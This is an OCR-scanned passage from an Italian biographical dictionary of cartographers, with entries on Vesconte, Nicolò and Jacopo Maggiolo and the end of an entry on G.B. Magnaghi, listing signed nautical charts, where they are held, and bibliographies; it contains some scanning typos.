1882: Vedute di costa dell'Isola di Sardegna [ .. .] pubblicate dall'Ufficio idrogra/ico della Regia Marina sotto la direzione del Capitano di Vascello G.B. Magnaghi; Parte Prima - costa Nord, Genova, IIM, 1882, 17 tavole, 28 vedute 690x300 mm.; Parte Seconda - dall'isola Asinara al Capo Spartivento, Genova, IIM, 1886, 25 tavole e 29 vedute 690x300 mm.; Parte Terza dal Capo Spartivento al'lsola Tavolara, Genova, IIM, 1889, 25 tavole e 30 vedute.
1884: Vedute delle Coste d'Italia disegnate dal vero da Porro Alberto [. . .] dal pro­montorio d'Ancona al Capo d'Otranto, Parte Seconda, sotto la direzione del Capita­no di vascello G.B. Magnaghi, Genova, IIM, 1884; seguite da Vedute delle Coste d1ltalia dìsegnate dal vero da Porro Alberto [. .. ] sotto la direzione del Capitano di vascello P.L. Cattolica. Riviera Ligure dal Golfo della Spezia a Monaco, Genova, IIM, 1904. Si tratta dei primi esempi di una serie che copre tutte le coste della Penisola.

Fonti d’archivio:

Bibliografia studi:
P. BLASERNA, Giovanni Battista Magnaghi, in «Rendiconti dell'Accademia dei Lin­cei», (5) 11, 1902, pp. 345-346.
P. CAMPIGLI, Giovanni Battista Magnaghi, in «Rivista Geografica Italiana», Firen­ze, dicembre 1902.
A. DE GUBERNATIS, Dizionario biografico degli scrittori contemporanei, Firenze, Le Monnier, 1879.
A. MORI, Magnaghz; Giovanni Battista in Enciclopedia italiana di scienze, lettere e arti, Roma, Istituto per l'Enciclopedia Italiana, vol. XXI, 1934, p. 909.
P. PRESCIUTTINI, L'Istituto Idrografico della marina. 125 anni al servizio del Paese, catalogo dell mostra celebrativa (Padiglione del Mare e della Navigazione, Genova), Genova, IIM, 1998.
P. PRESCIUTTINI, Coste del Mediterraneo nella cartografia europea 1500-1900, Ivrea, Priuli e Verlucca, 2004.
G. RONCAGLI, Il vice amm. Giovanni Battista Magnaghi, in «Bollettino della Società Geografica Italiana», Roma, agosto 1902.

Altro:

Rimandi ad altre schede:

Autore della scheda:



Maggiolo, Vesconte (alias Vesconte de Maiolo, Vesconte de Maiollo)

Vesconte Maggiolo
N.
M.

Relazioni di parentela: Figlio di Giacomo M. e Mariola de Salvo. Nel 1529 il Senato di Genova concede che Vesconte associ nel privilegio i suoi due figli Jacopo e Giovanni Antonio, o uno solo dei due, qualora l'altro scelga una diversa professione.

Ente/istituzione di appartenenza:
Qualifica: Magister cartarum navigandi.

Biografia:

Produzione scientifica:
Nel 1521 il Senato di Genova ordina che lo stipendio sia pagato «liberamente» (non a beneplacito) per tutta la vita del cartografo. Nel 1533 Vesconte acquista una casa nel quartiere del Molo, dove risiedevano e avevano bottega coloro che svolgevano attività legate alla navigazione e ai commerci marittimi. Nel 1534 stipu­la con Lorenzo Lomellino Sorba, notaio ed editore, un contratto per la produzio­ne di un grande planisfero a stampa, che non risulta essere mai stato realizzato. Atto notaio Bernardo Usodimare Granello in data 11 aprile 1534 (Archivio di Sta­to di Genova).

Opere Attrubuite:

1) Atlante nautico, 1508-1510 c., British Library, Londra, Egerton ms 2803 (attri­buzione priva di fondamento).
2) Carta nautica, 1540 c., Beinecke Library, Yale, New Haven, 1980.156.

Produzione di cartografia manoscritta:
1) ego vesconte de maiollo conpoxuy. Anc cartam anno dominj.1 5 4. die. VIII Juny in civitatem Janua (planisfero nautico, Biblioteca Federiciana, Fano).
2) Vesconte de maiolo civis Janue conpoxuy In neapoli de anno.1.5.11. die XX January (atlante nautico, John Carter Brown Library, Providence, R.L).
3) Vesconte Maiolo composuy hanc cartan in neapoli de anno dominj.1.5.12. die X marcy (atlante nautico, Biblioteca Palatina, Parma).
4) Vesconte de Maiolo conposuy hanc cartan in neapoly de anno dominj.1.5.12. die XI J uny ( carta nautica, Hispanic Society of America, New York).
5) Vesconte de Maiolo conposuy hanc cartan in neapoli de anno dominj.1.5.13. die XXII agusty (carta nautica, Harvard College Library, Cambridge, Mas­sachusetts).
6) Vesconte de Maiolo civis janue conposui hanc cartan in Neapoly de anno. 1.5.15. die V octobris (carta nautica, Nederlands Schepvaart Museum, Am­sterdam).
7) Vesconte de Maiollo januensis conposuy hanc cartan in neapoly anno 1516 VI maiy (planisfero nautico, Huntinghton Library, San Marino, California).
8) Vesconte de Maiollo civis janua conposuy hanc cartan in janua de anno dominy 1519 (atlantè nautico, Bayerische Staatsbibliothek, Monaco).
9) Vesconte de Maiollo conposuy hanc cartan in Janua de anno dominy 1520 die VI juny (carta nautica, British Library, Londra).
10) Vesconte de Maiollo conposuy hanc cartan in de anno dominy 1525 die X agusty (carta nautica, già Biblioteca Ambrosiana, Milano, distrutta durante la II Guerra Mondiale).
11) Vesconte et Jhoannes de Maiollo /ecit in Janua de anno dominy 1525 die VIII July (carta nautica, Biblioteca Palatina, Parma).
12) Vesconte de Maiollo civis janua conposuy hanc cartan in Janua anno dominy 152 7 die XX decenbris (planisfero nautico, già Biblioteca Ambrosiana, Mila­no, distrutto durante la II Guerra Mondiale).
13) Vesconte de Maiolo conposuit hanc cartan Jn Janua anno dominy 1528 die XVI (carta nautica, David M. Stewart Museum, Montreal).
14) Vesconte de maiollo conposuy hanc cartan in Janua anno dominy 1531 VIII novenbri (planisfero nautico, proprietà privata).
15) Vesconte de Maiollo conposuit hanc cartan ·in Janua de anno dominy 1535 die V /ebruarii (carta nautica, Biblioteca Nacional, Madrid).
16) Vesconte de Maiollo conposuit hanc cartan in ]anua anno dominj 1535 die III setenbris (carta nautica, Archivio di Stato, Torino).
17) Vesconte de maiollo conposuit hanc cartan in janua anno dominy 1536 die Va /ebruarii (carta nautica, Biblioteca Oliveriana, Pesaro).
18) Vesconte de maiollo conposuit hanc cartan in janua anno dominj 153 7 die 20 agusty (carta nautica, Musée de la Marine, Parigi).
19) Vesconte de maiollo conposuit han e cartan in janua anno dominj 1546 die X decenbris (carta nautica, Maritìme Museum, Greenwich).
20) Vesconte de maiollo conposuit hanc cartan In Janua anno dominj 1547 die 28 otobris (carta nautica, Bibliothèque Nationale, Parigi).
21) Vesconte de maiollo composuit hanc cartam injanua anno dominj 1548 die 16 maj (carta nautica, Maritime Museum, Greenwich).
22) Vesconte de maiollo composuit hanc cartam in janua anno dominj 1548 die 19 july (atlante nautico, Biblioteca Nazionale, Firenze).
23) Vesconte de maiollo composuit hanc cartam In janua anno dominj 1449 die 24 setenbris (carta nautica con data visibilmente contraffatta, proprietà privata, Asta Beussant-Lefévre, Parigi, 29-11.1990).
24) Vesconte de maiollo composuit in janua anno domini 1549 die 10 decenbris (atlante nautico, Biblioteca Comunale, Treviso).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
C.ASTENGO, Der genuesische Kartograph Vesconte Maggiolo und sein Werk, in «Cartographica Helvetica», 13, 1999, pp. 9-17.
G. CARACI, A little known Atlas by Vesconte Maggiolo, in «Imago mundi», 2, 1937, pp. 37-54.
G. CARACI, Sulla data del planisfero di Vesconte Maggiolo conservato a Fano, in «Memorie Geografiche», III, 1956 (a).
G. CARACI, Amerigo Vespucci; Gonzalo Coelho ed il planisfero di Fano, in «Memo­rie Geografiche», III, 1956 (b).
G. CARACI, La produzione cartografica di Vesconte Maggiolo e il Nuovo Mondo, in «Memorie Geografiche», VI, 1958.
G. CARACI, Ancora sulla data del planisfero di Fano, in «Memorie Geografiche», VI, 1958.
S. CRINò, Notizia sopra una carta da navigare di Vesconte Maggiolo che si conserva a Fano, in «Bollettino della Reale Società Geografica Italiana», XLIV, 1907.
J. DENUCÉ, The discovery of the North Coast of South America according to ananonymous map in the British Museum, in «The Geographical Journal», Lon- dra, 1910.
A. FERRETTO, I cartografi Maggiolo oriundi di Rapallo, in «Atti della Società Ligure di Storia Patria», 1925, pp. 53-83.
G. GROSJEAN, Der Seeatlas des Vesconte Maggiolo vom Jahre 1512, Zurigo, Dieti­ kon, 1979.

Altro:
Edizione e schede delle carte

G. GROSJEAN, Der Seeatlas des Vesconte Maggiolo vom Jahre 1512, 2 volume: facsmile delle quattro doppie tavole dell'atlante, Zurigo, Dietikon, 1979.
C. ASTENGO, Il planisfero Vesconte Maggiolo di Fano (1504), facsimile ridotto, Ancona, Edizioni InFolio, 2004.

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo

Maggiolo, Nicolò

Niccolò Maggiolo
N. 1598
M. 1649

Relazioni di parentela: Figlio di Cornelio, fratello di Giovanni Antonio.

Ente/istituzione di appartenenza:
Qualifica: «Magister cartarum pro navigando dal 1617 al 1649.

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:
Nessuna carta conosciuta.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
C.ASTENGO, I discendenti di Vesconte Maggiolo: una dinastia di cartografi a Geno­va, in «Annali di Ricerohe e Studi di Geografia», 1991, pp. 59-71.
G. CARACI A proposito cartografi Maggio/o, in «Rivista Marittima», 1931, pp. 236-238.
A. FERRETTO, I cartografi Maggio/o oriundi di Rapallo, in «Atti della Società Ligure di Storia Patria», 1925, pp. 53-83.

Altro:

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo



Maggiolo, Jacopo (alias Jacopo de Maiolo)

Jacopo Maggiolo
N.
M. 1505

Relazioni di parentela: Figlio di Vesconte, fratello di Giovanni Antonio.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Attivo dal 1551 al 1602 (?).

Produzione scientifica:

Produzione di cartografia manoscritta:
1) Iacobus de maiolo condam Vesconte composuit hanc cartam Ianua annoni 1551 die 19 marsi (carta nautica, Staatsbibliothek, Monaco di Baviera).
2) Iacobus de Maiolo quondam Vesconte ha compito de componere questa charta l'anno del Signore 1553 ha dz' 13 de Aprilis (carta nautica non rintracciata, un tempo in una collezione privata a Genova, cfr. G. Uzielli e P. Amat di San Filippo).
3) Iacobus de Maiolo filius magistri Vesconti composuit hanc cartam in lanua anno domini 1558 die XX agusti fata in lospitaleto (carta nautica, Biblioteca Casanatense, Roma).
4) Iacobus de Maiolo composuit hanc cartam in Ianua anno Domini 1561 25 aprilis (carta nautica, Museo del Mare, Genova).
5) Iacobus de Maiolo filius magistri Vesconti composuit hanc cartam in Ianua anno Domini 1561 XXV novembris in lospitaleto (carta nautica, Biblioteca Nazionale, Roma).
6) Iacobus Vesconte de Maiala composuit hanc cartam in Ianua anno Domini 1562 die X Octobris (carta nautica, British Library, Londra).
7) Iacobus de Maiolo composuit hanc cartam in Ianua anno Domini 1563 die XX may in lospitaleto (carta nautica, Biblìothèque Nationale, Parigi).
8) Iacobus de Maiolo filius magistri Vesconti composuit hanc cartam Ianua Domini 1558 die XX agustifata in lospitaleto (carta nautica, Biblioteca Casanatense, Roma).
9) Iacobus Vesconte de Maiala composuit hanc cartam in Ianua anno Domini 1564 die X otobris (carta nautica, Civica Biblioteca Berio, Genova).
10) Iacobus Vesconte de Maiolo composuit hanc cartam in Ianua anno Domini 1565 die primo maij ( carta nautica, Istituto e Museo di Storia della Scienza, Firenze)
11) Iacobus Mat'olus fecit hanc cartam Genue anno Domini 1567 die 3 januarij (carta nautica, Biblioteca Nazionale, Roma).
12) Iacobus Maiolus Vescontis fecit hanc cartam Genue anno domini 1567 die XX Jebruarij (carta nautica non rintracciata, un tempo nella collezione del conte Guglielmo Libri).
13) Iacobus Maiolus fecit hanc cartam Genoa anno Domini 1573 die V junij (carta nautica, Bibliothègue Nationale, Parigi).
14) Iacobus de Maiala comp ... cartam Ianuae anno Domini ... augusti (carta nauti- ca, Museo Correr, Venezia).
15) Iacobus Vesconte Magliolusfecit hanc cartam Genue anno Domini 1602 (?) die X septembris (carta nautica con data corretta, Biblioteca Ambrosiana, Milano)

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
C.ASTENGO, I discendenti di Vesconte Maggiolo: una dinastia di cartografi a Geno­va, in «Annali di Ricerohe e Studi di Geografia», 1991, pp. 59-71.
G. CARACI A proposito cartografi Maggiolo, in «Rivista Marittima», 1931, pp. 236-238.
A. FERRETTO, I cartografi Maggiolo oriundi di Rapallo, in «Atti della Società Ligure di Storia Patria», 1925, pp. 53-83.
I. KuPcfK, Munchner Portolankarten, Monaco-Berlino, Deutscher Kunstverlag, 2000.

Altro:

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo